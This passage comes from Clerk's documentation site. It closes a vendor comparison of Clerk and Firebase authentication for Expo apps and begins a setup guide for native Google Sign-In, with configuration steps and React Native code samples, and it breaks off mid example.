- **Native Apple Sign-In**: `useSignInWithApple()` wraps Apple's `ASAuthorization` framework. iOS only. Requires a dev build and `expo-apple-authentication` + `expo-crypto`. Released November 2025 ([Clerk Changelog, Nov 2025](/changelog/2025-11-13-native-sign-in-with-apple-expo)).
- **Native Google Sign-In**: `useSignInWithGoogle()` uses `ASAuthorization` on iOS and Credential Manager on Android. Requires a dev build and `expo-crypto`. No additional Google sign-in packages needed (the `@clerk/expo` config plugin handles it). Released March 2026 ([Clerk Changelog, Mar 2026](/changelog/2026-03-09-expo-native-components)).

Firebase's native sign-in requires React Native Firebase plus separate community packages: `@react-native-google-signin/google-signin` and `@invertase/react-native-apple-authentication`. Dev build required. The Firebase JS SDK only offers browser-based OAuth for Google and Apple ([Expo Firebase Guide](https://docs.expo.dev/guides/using-firebase/); [Expo Go vs Development Builds, 2024](https://expo.dev/blog/expo-go-vs-development-builds)).

### Identity Platform upgrade

Firebase's MFA (both TOTP and SMS) and enterprise SSO (SAML/OIDC) require upgrading from basic Firebase Auth to Google Cloud Identity Platform.

## Pre-built UI vs custom flows

### Clerk's three integration tiers

Tier 1 (JS-only) and Tier 2 (JS + native sign-in) are production-stable. Tier 3 (native components) is in beta as of March 2026 and should be evaluated before use in production.

**1. JavaScript-only** (works in Expo Go): Build custom UI with React Native components and Clerk hooks (`useAuth()`, `useUser()`, `useSignIn()`, `useOAuth()` for browser-based OAuth). Supports email/password, email codes, phone codes, and browser-based social login. Full control, no native build required.

**2. JS + Native Sign-In** (dev build required): Custom UI with native OAuth hooks. `useSignInWithApple()` (iOS only) and `useSignInWithGoogle()` (iOS + Android). Platform-native flows via ASAuthorization and Credential Manager. No browser redirect.

**3. Native Components (Beta)** (dev build required): Pre-built native UI rendered via SwiftUI on iOS and Jetpack Compose on Android. `<AuthView />` handles the entire sign-in/sign-up flow, including social providers, MFA, and password recovery, without needing individual hooks or their dependencies.

```tsx
import { AuthView } from '@clerk/expo/native'
import { useAuth } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useEffect } from 'react'

export default function SignInScreen() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) {
      router.replace('/(home)')
    }
  }, [isSignedIn])

  return <AuthView mode="signInOrUp" />
}
```

> \[!NOTE]
> Native components are in beta. They were released in March 2026 as part of `@clerk/expo` 3.1. See the [native components docs](/docs/reference/expo/native-components/overview) for the latest status.

Clerk also provides `<UserButton />` (avatar that opens a native profile modal) and `<UserProfileView />` (complete profile management screen).

### Firebase: build everything yourself

Firebase provides zero prebuilt UI components for React Native. FirebaseUI exists for web, iOS, and Android natively, but not React Native ([Firebase Auth Documentation](https://firebase.google.com/docs/auth)). Every screen, sign-in, sign-up, password reset, MFA enrollment, profile management, must be built from scratch with `TextInput`, `TouchableOpacity`, and your own state management. Independent developer tutorials confirm this gap: building a complete auth flow with Clerk requires no custom screens, while Firebase requires building every screen from scratch ([DEV.to: Complete Login System with Expo and Clerk, 2025](https://dev.to/aaronksaunders/your-first-complete-login-system-in-react-native-with-expo-and-clerk-3696)).

The tradeoff is real: pre-built components add bundle size. `@clerk/expo` and its dependencies are heavier than Firebase's auth-only SDK. But they also save weeks of development time. The question is whether your team would rather spend that time building auth screens or shipping product features.

## Session management and token handling

### Clerk

[Session tokens](/docs/guides/how-clerk-works/overview) are 60-second JWTs that auto-refresh every 50 seconds (per [Clerk's architecture documentation](/docs/guides/how-clerk-works/overview); these are internal implementation details not independently audited). The short lifetime minimizes the window for token misuse. Tokens are cached in `expo-secure-store`, which uses the iOS Keychain and Android Keystore for encrypted on-device storage ([expo-secure-store docs](https://docs.expo.dev/versions/latest/sdk/securestore/)).

Session lifetimes are configurable from 5 minutes to 10 years. Core 3 introduced proactive background token refresh, so your app never waits for a mid-request refresh.

For offline scenarios, Clerk offers experimental support (not recommended as a sole production dependency for offline-first apps) via `resourceCache` from `@clerk/expo/resource-cache`. This bootstraps the app using cached resources and returns cached tokens. When the network is truly unavailable, `getToken()` throws a `ClerkOfflineError` (in Core 3). Previously it returned `null`, which was ambiguous with the signed-out state.

### Firebase

Token behavior depends on which SDK path you chose.

**Firebase JS SDK on React Native**: defaults to memory-only persistence. Users get logged out every time the app closes unless you configure `getReactNativePersistence` with AsyncStorage (see the setup section above).

**React Native Firebase**: handles persistence natively via iOS Keychain and Android Keystore. No manual setup needed.

**Token lifecycle (both SDKs)**: Firebase ID tokens expire after 1 hour. Both SDKs automatically refresh them using stored refresh tokens. The refresh happens in the background without developer intervention. Refresh tokens don't expire unless the user changes their password, the account is disabled, or tokens are explicitly revoked via the Admin SDK.

> \[!IMPORTANT]
> On Expo SDK 53+, there's a documented Catch-22 with the Firebase JS SDK: the Metro config workarounds needed for auth persistence can conflict with Firestore transactions ([Expo GitHub Issue #36588](https://github.com/expo/expo/issues/36588)). This doesn't affect React Native Firebase.

### Offline behavior

Clerk's offline support is experimental and not recommended as a production dependency for offline-first apps. The resource cache bootstraps using cached resources and `getToken()` returns cached tokens when available.

Firebase's React Native Firebase SDK handles offline auth state natively and is production-stable. The Firebase JS SDK's Firestore offline persistence doesn't work on React Native (no IndexedDB), but auth state persists if you configured AsyncStorage.

## User management and organizations

### User objects compared

Clerk's user object is rich: `firstName`, `lastName`, `username`, multiple emails and phone numbers, metadata (public/private/unsafe), organization memberships, roles, active sessions, banned/locked status, and `imageUrl` with auto-generated avatars.

Firebase's user object has 5 core fields: `uid`, `email`, `displayName`, `photoURL`, `emailVerified`, plus `phoneNumber`, `isAnonymous`, and `metadata`. [Custom claims](/glossary#claims) are limited to 1,000 bytes. There's no built-in user search.

### Organizations

Clerk has first-class [organizations](/docs/organizations/overview). Users belong to multiple orgs. Each org gets built-in [roles and permissions](/docs/organizations/roles-permissions), member invitations, verified domain auto-enrollment, and per-org enterprise SSO connections. On mobile Expo, you manage organizations using Clerk's hooks and Backend API. On Expo Web, prebuilt components like `<OrganizationSwitcher />` and `<OrganizationProfile />` are also available.

Firebase has no organization concept. [Multi-tenancy](/glossary/multi-tenancy) via Identity Platform uses isolated tenant silos where a user can't belong to multiple tenants. No member management, no invitations, no org switching. Everything must be custom-built.

If you're building a team workspace, project management tool, or any multi-tenant SaaS, Clerk's org support saves months of custom development.

## Expo Router integration

Both Clerk and Firebase work with Expo Router's protected route patterns. The structural patterns are similar; the difference is how auth state is provided.

### Clerk + Expo Router

```tsx
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'

export default function HomeLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return <Stack />
}
```

### Firebase + Expo Router

```tsx
import { useFirebaseAuth } from '@/hooks/useFirebaseAuth'
import { Stack, Redirect } from 'expo-router'

export default function AppLayout() {
  const user = useFirebaseAuth()

  if (user === undefined) return null // loading

  if (!user) return <Redirect href="/sign-in" />

  return <Stack />
}
```

The patterns look similar. The difference is upstream: Clerk's `useAuth()` is backed by a managed provider with automatic token refresh. Firebase's auth state comes from `onAuthStateChanged`, which you wrap yourself.

## Stability across Expo SDK upgrades

### Firebase's compatibility history

Three consecutive Expo SDK releases (53, 54, 55) each introduced Firebase compatibility issues that required configuration changes or workarounds. Here is the incident history and current resolution state for each (all issue statuses verified March 2026):

**Expo SDK 53** (April 2025): Metro's `package.json exports` broke the Firebase JS SDK. Multiple GitHub issues documented the fallout: [expo#36588](https://github.com/expo/expo/issues/36588) (open, workaround documented), [expo#36602](https://github.com/expo/expo/issues/36602) (closed, redirected), [expo#36496](https://github.com/expo/expo/issues/36496) (closed, resolved). `initializeAuth()` crashed on Hermes with "INTERNAL ASSERTION FAILED: Expected a class definition" ([firebase-js-sdk#9020](https://github.com/firebase/firebase-js-sdk/issues/9020), closed as stale). React Native Firebase's auth plugin broke with Swift AppDelegates ([react-native-firebase#8487](https://github.com/invertase/react-native-firebase/issues/8487), closed, RNFB added SDK 53 support). The primary workaround: set `unstable_enablePackageExports = false` in Metro config. An Expo maintainer commented: "we don't maintain firebase or any integration with it." SDK 53+ also requires `firebase@^12.0.0` ([Expo Firebase guide](https://docs.expo.dev/guides/using-firebase/)).

**Expo SDK 54** (September 2025): Non-modular header errors on iOS ([expo#39607](https://github.com/expo/expo/issues/39607), closed September 2025; workaround: `buildReactNativeFromSource: true`). Wrong `packageImportPath` on Android ([react-native-firebase#8761](https://github.com/invertase/react-native-firebase/issues/8761), closed as stale). Config plugin publishing regression in v23.8.0 ([react-native-firebase#8829](https://github.com/invertase/react-native-firebase/issues/8829), fixed in v23.8.4+).

**Expo SDK 55** (February 2026): Dropped Legacy Architecture entirely (`newArchEnabled` config option removed). Initial reports of iOS build errors with React Native Firebase ([react-native-firebase#8908](https://github.com/invertase/react-native-firebase/issues/8908), closed March 2026 with solution provided). The fix is configuration-only: `expo-build-properties` with `forceStaticLinking` and `useFrameworks: "static"`. No code changes to React Native Firebase were required; existing v23.8.8 works.

All known issues from SDK 53-55 have documented resolutions or workarounds (statuses verified March 2026). The recurring cost is configuration debugging during upgrades rather than blocked functionality, but it is a maintenance consideration that compounds with each Expo SDK release.

### Clerk's compatibility history

`@clerk/expo` 3.0 requires Expo SDK 53+ and was built for it. No documented breakages with Expo SDK upgrades to date (as of March 2026). That said, `@clerk/expo` is a newer SDK with fewer major version transitions behind it, so the track record is shorter.

Native components use the TurboModule spec and are New Architecture native. For upgrading between Clerk SDK versions, `npx @clerk/upgrade` provides an automated codemod.

> \[!NOTE]
> React Native Firebase is maintained by Invertase (a community organization), not Google. Clerk's Expo SDK is maintained by Clerk's own engineering team.

## Using Clerk auth with a Firebase backend

A common question: can I use Clerk for auth and Firebase for the database?

### The official integration (deprecated)

Clerk previously offered a built-in Firebase integration via `getToken({ template: 'integration_firebase' })`. This is now deprecated. New applications can't enable it. Existing apps continue to work, but once disabled, it can't be re-enabled.

### The DIY pattern for new apps

The architecture looks like this:

1. User authenticates with Clerk (using `@clerk/expo`)
2. Your server endpoint verifies the Clerk session [JWT](/glossary#json-web-token)
3. Server uses Firebase Admin SDK to mint a Firebase custom token
4. Client calls `signInWithCustomToken()` from Firebase JS SDK
5. Firestore queries work with `request.auth` in security rules

Here's abbreviated server-side pseudocode:

```typescript
import { clerkClient } from '@clerk/express'
import admin from 'firebase-admin'

app.post('/firebase-token', async (req, res) => {
  // Verify the Clerk session
  const { userId } = req.auth

  // Mint a Firebase custom token using the Clerk user ID
  const firebaseToken = await admin.auth().createCustomToken(userId)

  res.json({ token: firebaseToken })
})
```

The client then exchanges this token:

```typescript
import { signInWithCustomToken } from 'firebase/auth'

const response = await fetch('/firebase-token', {
  /* auth headers */
})
const { token } = await response.json()
await signInWithCustomToken(auth, token)
```

> \[!IMPORTANT]
> Auth states are independent. Signing out of Clerk doesn't sign out of Firebase. You must sync sign-out manually in your app.

### Gotchas

- Firebase custom tokens are a one-time exchange credential that expires after 1 hour. After `signInWithCustomToken()`, the user gets a normal Firebase session with auto-refreshing ID tokens. The custom token itself isn't the session.
- Firestore offline persistence doesn't work on React Native (no IndexedDB).
- Additional latency from the server round-trip for token exchange.

## Migration: Firebase to Clerk

Clerk provides an [official migration path](/docs/guides/development/migrating/firebase) for Firebase users.

### The process

Export your Firebase users via CLI:

```bash
firebase auth:export firebase-users.json --format=json --project <your-project-id>
```

Retrieve password hash parameters from the Firebase Console (`base64_signer_key`, `base64_salt_separator`, `rounds`, `mem_cost`).

Run a migration script that POSTs to Clerk's Backend API with `password_hasher: 'scrypt_firebase'`. Each user is created with `external_id` set to the Firebase `localId` to preserve your existing data relationships. OAuth-only users can be imported with `skip_password_requirement: true`.

### What to watch for

- **Rate limits**: Clerk's import API returns 429 responses under heavy load. Your script should handle backoff.
- **Password hashing**: Firebase uses modified scrypt. Clerk handles the conversion automatically during import.
- **Active sessions**: migrating auth in a mobile app is tricky because you can't force-update installed versions. Plan for a graceful transition period where both old and new auth work.

## Migration: Clerk to Firebase

Migration works in the other direction too. Clerk doesn't lock in user data.

Export users via Clerk's Backend API (`GET /v1/users` with pagination). Import into Firebase using the Admin SDK's `importUsers()` method. Clerk uses bcrypt password hashing by default, and Firebase's `importUsers()` supports bcrypt via `hash.algorithm: 'BCRYPT'`.

OAuth-only users will need to re-link their social providers on first sign-in after migration. No official Clerk-to-Firebase migration guide exists, so this requires custom scripting.

This is a less common direction, but knowing it's possible matters when evaluating lock-in.

## When to choose which

| Your situation                            |  Recommended  | Why                                                                                          |
| :---------------------------------------- | :-----------: | :------------------------------------------------------------------------------------------- |
| New Expo project, auth is primary concern |     Clerk     | Expo-first SDK, prebuilt components, passkeys, orgs                                          |
| Already using Firestore + Cloud Functions | Evaluate both | Firebase Auth integrates natively; Clerk requires DIY token bridge                           |
| B2B SaaS with team workspaces             |     Clerk     | Built-in organizations, [RBAC](/glossary#role-based-access-control-rbac), member invitations |
| Need passkeys or biometric auth           |     Clerk     | Firebase has no passkey support                                                              |
| Frustrated with Firebase + Expo breakages |     Clerk     | Stable SDK maintained by Clerk's team                                                        |
| Prototyping in Expo Go                    |     Clerk     | Email/password and browser OAuth work without dev build                                      |
| Enterprise SSO (SAML/OIDC) requirement    |     Clerk     | Built-in on Business+; Firebase requires Identity Platform upgrade                           |

For most Expo developers starting a new project, Clerk's developer experience, Expo-first SDK, and built-in features make it the stronger choice. Firebase Auth still fits if you're deep in the Google ecosystem and primarily need basic email and social auth at scale.

Ready to try it? The [Expo quickstart](/docs/expo/getting-started/quickstart) gets you to working auth in under 5 minutes. Or explore Clerk's [Expo authentication](/expo-authentication) landing page for a broader overview.

## Frequently asked questions

---

# Expo Google Sign-In Without a WebView
URL: https://clerk.com/articles/expo-google-sign-in-without-a-webview-the-native-approach-using-clerk.md
Date: 2026-04-07
Description: This guide explains how to implement native Google Sign-In in Expo apps using Clerk — bypassing the system browser entirely by leveraging Android's Credential Manager and iOS's ASAuthorization APIs. It covers both the zero-config <AuthView /> component and the useSignInWithGoogle hook, with setup for Google Cloud Console, the Clerk Dashboard, certificate fingerprints, and EAS Build

Google Sign-In in [Expo](/glossary/expo) apps has traditionally meant browser redirects, custom URL schemes, and a fragile chain of callbacks. Clerk's native Google Sign-In changes that. On Android, it uses Credential Manager — no browser at all. On iOS, configuring the `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` environment variable enables `ASAuthorization`, Apple's native credential picker, instead of the default system browser sheet. The user taps one button, picks their Google account from a system-level sheet, and they're signed in.

This guide walks through the complete setup: Google Cloud credentials, Clerk Dashboard configuration, and a working Expo app with native Google Sign-In, email+OTP [authentication](/glossary/authentication), user profile management, and sign-out. Every code example targets `@clerk/expo` Core 3 and the current stable Expo SDK.

## What Is Native Google Sign-In and Why It Matters for Expo Apps

### Browser-Based OAuth: The Standard Approach and Its Problems in Expo

The standard [OAuth](/glossary/oauth) flow in Expo uses `expo-auth-session` to open a system browser (ASWebAuthenticationSession on iOS, Chrome Custom Tabs on Android). The user authenticates in that browser and gets redirected back to the app via a deep link.

This works, but the failure modes are real:

- **Redirect handling breaks.** Different callback URIs for development, preview, and production. One mismatch and the user lands nowhere.
- **Android dismiss race conditions.** Developers have reported Android redirect reliability issues where the browser dismisses before the callback completes ([expo/expo#23781](https://github.com/expo/expo/issues/23781)).
- **SDK upgrades break auth.** Expo SDK 53 introduced regressions in Google login flows that affected existing `expo-auth-session` implementations ([expo/expo#38666](https://github.com/expo/expo/issues/38666)).
- **The `auth.expo.io` proxy is gone.** The Google provider that relied on it has been deprecated since SDK 49 ([expo/expo#21084](https://github.com/expo/expo/issues/21084)).

Google blocked OAuth from embedded WebViews on September 30, 2021, returning `disallowed_useragent` errors ([Google Developers Blog, Jun 2021](https://developers.googleblog.com/2021/06/upcoming-security-changes-to-googles-oauth-2.0-authorization-endpoint.html)). Google continued enforcing this policy through 2023: remaining apps using embedded WebViews saw warnings starting in February 2023, with final blocking on July 24, 2023 ([Google Support FAQ](https://support.google.com/faqs/answer/12284343)). The system browser approach (`expo-auth-session`) was never blocked, but it still opens a browser. Native sign-in avoids a browser entirely.

Three tiers of Google authentication exist in mobile apps:

1. **Embedded WebView** (blocked by Google since 2021)
2. **System browser** via ASWebAuthenticationSession/Chrome Custom Tabs (what `expo-auth-session` does)
3. **Native credential picker** via ASAuthorization/Credential Manager (what Clerk's native flow does)

This article covers tier 3: no browser at all.

### What Native Google Sign-In Actually Is

#### ASAuthorization on iOS

Apple's `ASAuthorization` framework presents a system-level credential picker, the same UI used for [passkeys](/glossary/passkeys) and Sign in with Apple. When Clerk's `@clerk/expo` config plugin is configured with an iOS URL scheme (`EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME`), `useSignInWithGoogle()` uses `ASAuthorization` to present the native Google account picker. No browser opens.

This configuration step is optional. Without it, iOS falls back to `ASWebAuthenticationSession`, which opens a system browser sheet. The difference is a single environment variable.

#### Credential Manager on Android

[Credential Manager](https://developer.android.com/identity/sign-in/credential-manager) is Google's Jetpack library (`androidx.credentials`) that surfaces a system bottom sheet with the user's Google accounts. No browser opens. An ID token is produced directly by the OS.

Credential Manager replaces 5 deprecated APIs: the legacy Google Sign-In SDK (`play-services-auth`), Smart Lock for Passwords, One Tap sign-in, the Sign in with Google button, and FIDO2 local credentials. SDK removal is scheduled for May 2026; API calls will fail as early as July 2028 ([Android Developers Blog, Sep 2024](https://android-developers.googleblog.com/2024/09/streamlining-android-authentication-credential-manager-replaces-legacy-apis.html)).

> \[!NOTE]
> **Platform behavior summary:**
>
> - Android: Credential Manager. No browser at all.
> - iOS with native config: `ASAuthorization`. System credential picker, no browser.
> - iOS without native config: `ASWebAuthenticationSession`. System browser sheet (fallback).
>
> Configure `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` in your `app.config.ts` to get the native credential picker on iOS.

### Why Native Sign-In Is Better Than Browser-Based OAuth

**User experience.** No context switch. No redirect failures. No browser tab left open. The conversion numbers back this up:

- Pinterest saw a **126% sign-up increase on Android** after adopting Google One Tap ([Google Case Study](https://developers.google.com/identity/sign-in/case-studies/pinterest)).
- Reddit reported a **185% overall conversion increase** combining Sign in with Google and One Tap ([Google Case Study](https://developers.google.com/identity/sign-in/case-studies/reddit)).
- Zoho achieved **6x faster logins** after migrating to Credential Manager, with 31% month-over-month passkey adoption growth ([Android Developers Blog, May 2025](https://android-developers.googleblog.com/2025/05/zoho-achieves-faster-logins-passkey-credential-manager-integration.html)).

**Security.** The native flow runs in a sandboxed system process that the app can't intercept. No redirect URI to spoof. No [PKCE](/glossary/code-exchange-pkce) complexity exposed to the developer. [RFC 8252](https://datatracker.ietf.org/doc/html/rfc8252) (IETF BCP 212) states that native apps "MUST NOT use embedded user-agents" for OAuth. The [OAuth 2.1 draft](https://datatracker.ietf.org/doc/draft-ietf-oauth-v2-1/) (March 2026) makes PKCE mandatory for all clients.

**Reliability.** No `auth.expo.io` proxy dependency. No dismiss race conditions on Android. No production-vs-development differences in redirect handling.

## Prerequisites and Requirements

> \[!WARNING]
> Native Google Sign-In requires a development build. It won't work in Expo Go. Use `npx expo run:ios`, `npx expo run:android`, or `eas build --profile development` instead.

### Tools and Accounts You Need

- Node.js 20.9.0+
- Expo CLI (`npx expo`)
- EAS CLI (`npm install -g eas-cli`) and an Expo account
- A [Clerk account](https://dashboard.clerk.com)
- A [Google Cloud Console account](https://console.cloud.google.com/)
- iOS: Xcode 16+, [Apple Developer account](https://developer.apple.com) (for device testing)
- Android: Android Studio, physical device or emulator with Google Play Services

### Environment Variable Checklist

Your `.env` file needs these values (collected during the setup steps below):

```bash
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_...
EXPO_PUBLIC_CLERK_GOOGLE_WEB_CLIENT_ID=...
EXPO_PUBLIC_CLERK_GOOGLE_IOS_CLIENT_ID=...
EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME=com.googleusercontent.apps...
EXPO_PUBLIC_CLERK_GOOGLE_ANDROID_CLIENT_ID=...
```

### Compatibility: Clerk Core 3, @clerk/expo, and Expo SDK

- All code uses Core 3 import paths: `@clerk/expo`, `@clerk/expo/google`, `@clerk/expo/native`
- Native Google Sign-In requires `@clerk/expo` 3.1+
- Native components (`AuthView`, `UserButton`, `UserProfileView`) require Expo SDK 53+
- React 18 or 19

> \[!IMPORTANT]
> Native components (`AuthView`, `UserButton`, `UserProfileView`) are currently in beta. See the [Native Components Overview](/docs/reference/expo/native-components/overview) for the latest status.

### Development Build vs. Expo Go

Native Google Sign-In requires a development build because Expo Go ships a fixed native layer that can't load custom TurboModules like `NativeClerkGoogleSignIn`.

| Feature                 | Expo Go | Dev Build |
| ----------------------- | :-----: | :-------: |
| Email/password sign-in  |         |           |
| Google Sign-In (native) |         |           |
| `<AuthView />`          |         |           |
| `<UserButton />`        |         |           |
| Apple Sign-In (native)  |         |           |

To create a development build:

```bash
npx expo install expo-dev-client
npx expo run:ios
```

Or use EAS Build:

```bash
eas build --profile development --platform ios
```

## How to Add Google Sign-In to an Expo App Without a Browser Redirect

Three main approaches exist. Here's how they compare:

| Approach                      | Browser Required | Native Google UX | [Session Management](/glossary/session-management) | Operational Burden                                 |
| ----------------------------- | :--------------: | :--------------: | :------------------------------------------------: | -------------------------------------------------- |
| `expo-auth-session`           |                  |                  |                       Manual                       | Redirect URIs, browser callbacks, token exchange   |
| `@react-native-google-signin` |                  |                  |                       Manual                       | Native Google setup plus separate session handling |
| **Clerk**                     |                  |                  |                                                    | Dashboard setup plus native app registration       |

> \[!NOTE]
> On iOS, Clerk's native path requires the URL scheme config. Without it, iOS falls back to a browser sheet. The "No" for Browser Required applies when native config is complete.

### Option 1: Manual OAuth with expo-auth-session

The browser-based approach. Opens a system browser, handles the OAuth redirect, and returns a token. You manage [session](/glossary/session) creation, token storage, and refresh yourself. Every Expo SDK upgrade risks breaking the redirect chain.

### Option 2: @react-native-google-signin/google-signin (DIY)

A React Native library that wraps Google's native SDKs. Gives you the native Google UI, but you still own session management, user state, and sign-out logic. The Credential Manager integration is gated behind a [paid tier](https://react-native-google-signin.github.io/) ($89–249/year).

### Option 3: Clerk Native Google Sign-In (Recommended)

Native Google Sign-In is built into `@clerk/expo`. On Android it uses Credential Manager. On iOS, the native path uses `ASAuthorization` when configured. Clerk handles the token exchange, [session](/glossary/session) creation, and signed-in state after the provider returns.

#### Why Clerk Is the Right Choice for Expo Authentication

- **Fewest moving parts.** Dashboard config, environment variables, one hook or component. That's it.
- **Pre-built native UI.** `<AuthView />` renders SwiftUI on iOS and Jetpack Compose on Android. Google, Apple, email, phone, passkeys, and [MFA](/glossary/multi-factor-authentication-mfa) are handled automatically.
- **Uses Google's current recommended APIs.** Credential Manager (not the deprecated legacy SDK).
- **Built-in session management.** User profiles, sign-out, and token refresh come included.
- **Automatic transfer flow.** If someone signs in with Google but doesn't have an account, one is created. If they sign up but already have an account, they're signed in. No separate screens needed.
- **Minimal dependency surface.** `@clerk/expo` with its peer dependencies (`expo-secure-store`, `expo-auth-session`, `expo-web-browser`) plus `expo-crypto` for the hook approach. AuthView doesn't need `expo-crypto`.

Clerk's native flow still goes through Clerk's backend for token verification and session creation. For how this works under the hood, see [How Clerk Works](/docs/guides/how-clerk-works/overview).

## Setting Up Clerk for Native Google Sign-In

### Step 1: Create a Clerk Application and Enable Native API

1. Go to the [**Clerk Dashboard**](https://dashboard.clerk.com) and create a new application (or select an existing one).
2. Navigate to the [**Native Applications**](https://dashboard.clerk.com/~/native-applications) page and confirm that **Native API** is enabled.
3. Copy your [**Publishable Key**](https://dashboard.clerk.com/~/api-keys) from the **API Keys** page.

Native components and native sign-in hooks depend on Native API being enabled. Skip this and every native call silently fails.

### Step 2: Enable Google and Register Native Applications

1. In the Clerk Dashboard, go to [**Social Connections**](https://dashboard.clerk.com/~/user-authentication/sso-connections) > **Google** > **Use custom credentials**.
2. You'll configure the Client IDs here after creating them in Google Cloud Console (next step).
3. On the [**Native Applications**](https://dashboard.clerk.com/~/native-applications) page:
   - **iOS:** Add your Team ID and Bundle ID (must match `ios.bundleIdentifier` in `app.config.ts`)
   - **Android:** Add your package name (must match `android.package` in `app.config.ts`) and SHA-256 certificate fingerprint

> \[!NOTE]
> Different builds use different signing identities. A development build, an EAS-managed build, and a Google Play App Signing key each have different certificate fingerprints. Register the SHA-256 for each in the Clerk Dashboard.

### Step 3: Create a Google Cloud Project and OAuth Credentials

#### OAuth Consent Screen

Before creating client IDs, Google Cloud asks you to configure an OAuth consent screen.

Common blockers at this step:

- The app is still in **testing mode** (only test users can authenticate)
- Your Google account isn't listed as a **test user**
- You haven't completed **production publishing** for broader access

Set the consent screen to "External" and add your own email as a test user. You can publish to production later.

#### iOS Client ID

1. Go to **Google Cloud Console** > **APIs & Services** > **Credentials** > **Create OAuth Client ID**
2. Application type: **iOS**
3. Bundle ID: must match your `app.config.ts` `ios.bundleIdentifier` exactly
4. Save and note:
   - The **iOS Client ID** (goes into `EXPO_PUBLIC_CLERK_GOOGLE_IOS_CLIENT_ID`)
   - The **reversed client ID** (goes into `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` for the native callback path)

#### Android Client ID and SHA-1 Fingerprint

1. Application type: **Android**
2. Package name: must match your `app.config.ts` `android.package`
3. SHA-1 fingerprint: get it from your signing keystore

Three different SHA-1 values exist depending on how you build:

```bash
# Debug keystore (local development)
keytool -list -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android
```

```bash
# EAS managed keystore
eas credentials --platform android
```

For production, find the App Signing key SHA-1 in **Google Play Console** > **Release** > **Setup** > **App Integrity**.

4. Create a **Web Application** OAuth Client ID too. Clerk uses it server-side for token verification. Add the Authorized Redirect URI from the Clerk Dashboard to this web client.

> \[!IMPORTANT]
> Google Cloud Console requires **SHA-1** for the Android OAuth Client ID. The Clerk Dashboard Native Applications page requires **SHA-256**. One `keytool -list -v` command outputs both values — copy each to the correct place.

#### Configuration Validation Checklist

Before your first build, confirm:

1. Bundle ID matches in Google Cloud Console, Clerk Native Applications, and `app.config.ts`
2. Android package name matches in Google Cloud Console, Clerk Native Applications, and `app.config.ts`
3. Web, iOS, and Android Client IDs are in the correct environment variables
4. SHA-1 is registered in Google Cloud Console for each Android signing identity
5. SHA-256 is registered in the Clerk Dashboard Native Applications page for each Android signing identity
6. iOS reversed client ID is used as `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME`
7. Native API is enabled on the Clerk Dashboard Native Applications page

## Building the Complete Expo App

### Project Initialization

```bash
npx create-expo-app expo-clerk-google-signin
cd expo-clerk-google-signin
```

### Installing Dependencies

**For the hook approach** (custom UI, used in the complete app below):

```bash
npx expo install @clerk/expo expo-secure-store expo-crypto expo-auth-session expo-web-browser expo-dev-client
```

**For the AuthView approach** (pre-built native UI):

```bash
npx expo install @clerk/expo expo-secure-store expo-auth-session expo-web-browser expo-dev-client
```

AuthView doesn't need `expo-crypto` or `useSignInWithGoogle`. It handles everything internally. The `expo-auth-session` and `expo-web-browser` packages are peer dependencies of `@clerk/expo` and are required even when using native components.

### Configuring app.config.ts

```ts
import { ExpoConfig } from 'expo/config'

const config: ExpoConfig = {
  name: 'expo-clerk-google-signin',
  slug: 'expo-clerk-google-signin',
  version: '1.0.0',
  scheme: 'expo-clerk-google-signin',
  ios: {
    bundleIdentifier: 'com.yourcompany.expoclerkgooglesignin',
    supportsTablet: true,
  },
  android: {
    package: 'com.yourcompany.expoclerkgooglesignin',
    adaptiveIcon: {
      foregroundImage: './assets/adaptive-icon.png',
      backgroundColor: '#ffffff',
    },
  },
  plugins: ['@clerk/expo'],
  extra: {
    EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME: process.env.EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME,
  },
}

export default config
```

The `@clerk/expo` config plugin auto-injects the clerk-ios (Swift) and clerk-android (Kotlin) native SDKs, sets the iOS deployment target to 17.0, and configures the iOS URL scheme for the native Google callback.

### Setting Up ClerkProvider in Your App Entry Point

```tsx
// app/_layout.tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

if (!publishableKey) {
  throw new Error('Add EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY to your .env file')
}

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <Slot />
    </ClerkProvider>
  )
}
```

The `tokenCache` uses `expo-secure-store` under the hood, which encrypts session tokens before storing them on the device. Without it, Clerk stores the active session token in memory only and it won't persist across app restarts.

The `publishableKey` must be passed explicitly because environment variables aren't automatically inlined in React Native production builds the way they are on web.

## Using the Native AuthView Component for Google Sign-In

`<AuthView />` is the fastest way to add Google Sign-In. It renders SwiftUI on iOS and Jetpack Compose on Android, with every auth method enabled in your Clerk Dashboard available automatically. Zero auth code required.

> \[!WARNING]
> `<AuthView />` requires a development build. It won't render in Expo Go.

### When to Use AuthView vs. the Hook

|                                       | AuthView                      | `useSignInWithGoogle` Hook |
| ------------------------------------- | ----------------------------- | -------------------------- |
| Lines of code                         | \~10                          | \~50                       |
| Custom UI                             | No (SwiftUI/Compose rendered) | Full control               |
| Extra dependencies beyond @clerk/expo | None                          | `expo-crypto`              |
| Google + Apple + email                | Automatic                     | Build each manually        |
| MFA support                           | Automatic                     | Manual                     |
| Beta status                           | Yes                           | Not labeled beta           |
| Web support                           | No (use `@clerk/expo/web`)    | No (use `@clerk/expo/web`) |

### Basic AuthView Setup

```tsx
// app/(auth)/sign-in.tsx
import { AuthView } from '@clerk/expo/native'
import { useAuth } from '@clerk/expo'
